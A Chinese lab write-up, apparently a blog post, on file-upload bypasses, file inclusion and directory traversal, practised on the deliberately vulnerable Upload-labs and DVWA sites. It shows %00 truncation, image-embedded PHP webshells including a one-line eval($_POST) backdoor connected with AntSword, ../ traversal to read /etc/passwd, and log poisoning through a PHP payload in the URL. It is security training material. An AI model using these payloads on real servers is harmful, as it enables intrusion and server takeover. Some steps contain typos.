文件上传、文件包含、目录遍历

一、服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过

1.1在计算机编程里,很多编程语言会把 \0ASCII 码为 0)当作字符串的结束符。也就是说,当程序在处理字符串时,一旦碰到 \0,就会认为字符串已经结束,不再处理后续的字符。在 URL 编码中,%00 代表的就是 \0

1.200截断通常用来绕过Web的白名单限制。Upload-labsPass-12)通过代码可以得知是一个白名单,只允许上传'jpg','png','gif'格式的文件,但是上传路径是可以控制的,可以使用%00进行截断。

1.3 %00截断绕过试验要求

a.在虚拟机搭建Upload-labs网站

b.php版本小于5.3.4

c.php.inimagic_quotes_gpcOFF状态

d.环境:Windows操作系统+phpstudy2018

1.4打开win10虚拟机把phpstudy2018Upload-labs源码拷贝到虚拟机

1.5安装phpstudy2018,安装完后点击其它选项菜单打下网站根目录,Upload-labs文件夹复到www文件夹

1.6点击切换版本PHP 5.2.17

1.7打开php.ini文件把magic_quotes_gpc改为OFF状态

1.8打开http://192.168.0.129/upload-labs/Pass-11/index.php?save_path=../upload/

上传Info.php,Info.php改成info.jpg上传。

1.9上传成功后在虚拟机可以打开C:\phpStudy\PHPTutorial\WWW\upload-labs\upload 可以看到2.PHP

1.10 复制图片链接在网页访问如下

1.11 UPLOAD-LABS 11 PASS POST请求使用%00截断绕过

1.12选中%00解码URLCODE

1.13上传成功访问

二、文件头检查:分别利用2种制作图片马的方式实现上传绕过

  

2.1第一种制作图片马的方式上传绕过

准备一个JPG的图片和PHP文件, php文件内容:<?php phpinfo();?>,打开CMD命令行

输入copy /b 33.jpg + info.php 44.jpg  直接变成44.JPG

2.2上传44.JPG图片

2.3复制图片链接, Upload - labs 14 关存在文件包含漏洞,打片图片链接URL要增加nclude.php?file才能打开图片,如下URL图片链接,通网页的方式打开图片就看到如下图片码http://159.75.158.180:8081/include.php?file=upload/4020250505131731.jpg

2.4第二种制作图片马的方式上传绕过

2.5利用010 editor软件打开123.JPG图片,从图中可以看到在 123.jpg 文件的十六进制代码末尾处,添加了类似 PHP 一句话木马 <?php eval($_POST['a']);?> 的内容

2.6上传123.jpg图片

2.7 打开图片链接如下图片马并用蚁剑连接拿下服务器

http://159.75.158.180:8081/include.php?file=upload/5820250505135403.jpg

三、二次渲染绕过

3.1 二次渲染原理:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标

3.2 配合文件包含漏洞:将一句话木马插入图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。如下图

四、DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径

4.1 /../../../../../../../../../ (输入多个../返回系统根目录),包含账户信息文件:/etc/passwd

如果不知道当前在哪一个目当输入可以多个../就要到网根目,一个../返修上一级,调到LOW低等级

4.2 /etc/group

4.3 /etc/hosts

五、远程文件包含

5.1使用包含漏洞包含 Upload-Labs 中的文件。

5.2在upload-labs PASS-01上传info.txt文件

5.3把upload-labs PASS-01上传info.txt文件路径复制到DVWA文件包含路径,实现远程文件包含如下图

六、中间件日志包含绕过,要求使用蚁剑连接成功

6.1DVWA中,apache2日志文件路径为: /var/log/apache2/access.log

包含日志文件,需要先对日志文件和目录添加权限,让Web端有权限去访问:

root@9e94e407a49c:/var/log# chmod 755 /var/log/apache2

root@9e94e407a49c:/var/log/apache2# chmod 644 access.log

6.2因浏览器会进行url编码,使用burp抓包进行修改,将编码字符改为原字符

http://159.75.158.180:8082/vulnerabilities/fi/?page=<?php phpinfo();?>

Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*, PHPInfo插入成功

后端日志看到PHPINFO

6.3使用蚁剑连接返回数据为空(因为网站是登入的状态,所以还需要在连接时添加对应的cookie信息)

七、对比文件包含和目录遍历的区别

7.1从技术层面来看:文件包含漏洞是通过include、require、read等函数把文件读取到当前路径内并进行加载和解析,而目录遍历漏洞则是中间件配置不完善所引发的问题,一般不具备解析功能。

7.2从URL表现来看:文件包含中URL = 后面的内容通常是文件名,而目录遍历中URL = 后面的内容不一定是文件名,也有可能是目录。

7.3从内容表现来看:文件包含造成的信息泄漏,泄漏的信息是展示在HTML文件中,而目录遍历引发的泄漏可能是泄漏文件自身。

7.4从攻击效果来看:文件包含可以实现Getshell,目录遍历则是造成信息泄露。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值